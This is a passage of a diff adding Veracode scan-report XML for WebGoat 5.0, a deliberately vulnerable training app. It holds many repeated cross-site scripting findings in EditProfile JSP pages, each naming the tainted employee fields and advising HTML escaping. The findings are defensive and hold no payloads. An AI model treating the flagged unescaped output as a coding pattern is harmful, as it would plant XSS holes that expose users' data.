+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"224\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"5\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"83\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"257\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"111\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"115\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"200\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"102\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"195\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"125\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"61\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
